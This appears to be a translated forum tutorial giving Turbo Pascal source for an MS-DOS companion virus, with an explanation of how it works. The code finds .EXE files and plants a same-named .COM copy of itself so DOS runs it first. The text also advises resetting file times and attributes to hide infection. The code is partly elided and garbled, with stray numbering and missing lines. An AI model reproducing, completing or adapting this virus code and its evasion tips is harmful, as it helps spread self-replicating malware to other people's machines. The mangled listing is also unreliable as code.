Write Virus In Pascal + Explain

Here is an example of a simple, non-destructive virus template, just installed for your reference:

{$A-,B-,D-,E-,F-,G-,I-,L- ,N-,O-,P-,Q-,R-,S-,T-,V-, X-,Y- }
{$M 8192.0,16384}
uses
Dos, Crt;
const
extend = '*.EXE';
var
SRec : SearchRec;
NameOfVector, NameOfVictim : String;
VECTOR, VICTIM : File;
LengthOfVector : LongInt;
Buffer : Pointer;
begin
first. {...}
2. FindFirst (extend, AnyFile, SRec);
3. while (DosError = 0) and (IOResult = 0) do
4. begin
5. with SRec do
6. if not ((Name='.') or (Name='..')
7. or (not (Attr and Directory and VolumeID<>0)))
8. then
9. begin
10. NameOfVictim:=Name;
11. Delete(NameOfVictim, Pos('EXE',NameOfVictim),3);
12. NameOfVictim:=NameOfVictim+'COM' ;
13. Assign (VICTIM, NameOfVictim);
14. Reset (VICTIM,1);
15.
16. if IOResult <> 0 then
17. begin
18. {...}
19. Assign(VECTOR, NameOfVector);
20. Reset (VECTOR, 1);
21. LengthOfVector := FileSize (VECTOR);
22. GetMem(Buffer,LengthOfVector);
23. BlockRead(VECTOR, Buffer^, LengthOfVector);
24. ReWrite (VICTIM,1);
25. BlockWrite (VICTIM , Buffer^, LengthOfVector);
26. Close (VECTOR);
27. Close (VICTIM);
28. FreeMem(Buffer, LengthOfVector);
29. end;
30. end;
31. FindNext (SRec);
32. end;
33. Delete(NameOfVector,Pos('.COM',NameOfVector),4);
34. NameOfVector := '/C '+NameOfVector+'.EXE';
35. {..}
36. {..}
37. {-Execute the original EXE file-}
38. SwapVectors;
39. Exec(GetEnv('COMSPEC'), NameOfVector);
40. SwapVectors;
end.
Explain :

To infect the file without leaving a trace, you should refer to the GetFTime() function; GetFAttr(); and SetFTime(); SetFAttr(); included in the DOS unit;

Variable declaration:
Quote:
Code:

var
SRec : SearchRec;
NameOfVector, NameOfVictim : String;
VECTOR, VICTIM : File;
LengthOfVector : LongInt;
Buffer : Pointer;


-NameOfVector : the name of the infected file, specified by the user to execute (eg BOITOAN.EXE)
-NameOfVictim : the name of the .EXE file found, the object to be infected (eg PROGRAM.EXE)
-VECTOR, VICTIM: file variable used to manipulate the two files mentioned above
-LengthOfVector: Vector file size
-Buffer: provides the memory area that will be used to load the VECTOR file;

At this point, a question arises as to how to check if the file is infected or not and handle it. If infected, then what to do again, this involves creating a keygen to mark the file (which is a string of characters specific to each virus - AVs can rely on this to detect the virus code. ) which is not mentioned in this article.

First, the Program will find an .exe file in the current directory (Command 2) and return information to the SREC variable;
If there is no error (error is generated when there is no .exe file) then assign the found file name to the variable NameOfVictim (command 10) assuming we get NameOfVictim='BAITAP.EXE', then change it to 'BAITAP.COM' (command 11+12).
Open the file BAITAP.COM, if there is an error, the above file may not exist (then DosError<>0)
If BAITAP.COM does not exist, continue with command 16

-Open the master file, get the size (19 -> 21)
-Load the master file into the memory area (22 -> 23)
-Create a new file BAITAP.COM and then Write the content of the memory area to this file (24 -> 25)
-Close the file, burn it to the hard disk (27)
-Erase the contents of the device, in case of detection (28)

Thus, we have created a BAITAP.COM file with the same name as the BAITAP.EXE file that the program finds, but the content contained in this .COM file is the content of the Master file -> So the Master file ( is an infected file) has been cloned.
The remaining statements are to give execution permission to the original Master file at the request of the user.

The above code, if you test it, will not succeed because there are some lines that I have hidden because the article is only for learning a way of spreading the virus.

So, if you compile this file as VIRUS.EXE and run it, we will get:
-VIRUS looks for the .EXE file in the current directory, possibly itself.
Suppose you find the file PROGRAM.EXE
-Create a file PROGRAM.COM which is a copy of the virus

We repeat a bit, in DOS, the priority order of executable file types is as follows: COM > EXE > BAT > ...
So, later when the user types the following command:
C:\>PROGRAM
then the PROGRAM.COM file (generated by the virus) will be run, not the PROGRAM.EXE file
Thus VIRUS will have the opportunity to continue to take the spread.

Conclude
The above is the code of an F-Virus that runs on MS-DOS, but is easily detected on Windows.
Through the above article, we can understand how the infection simply takes advantage of the priority order of the .COM file compared to the .EXE file.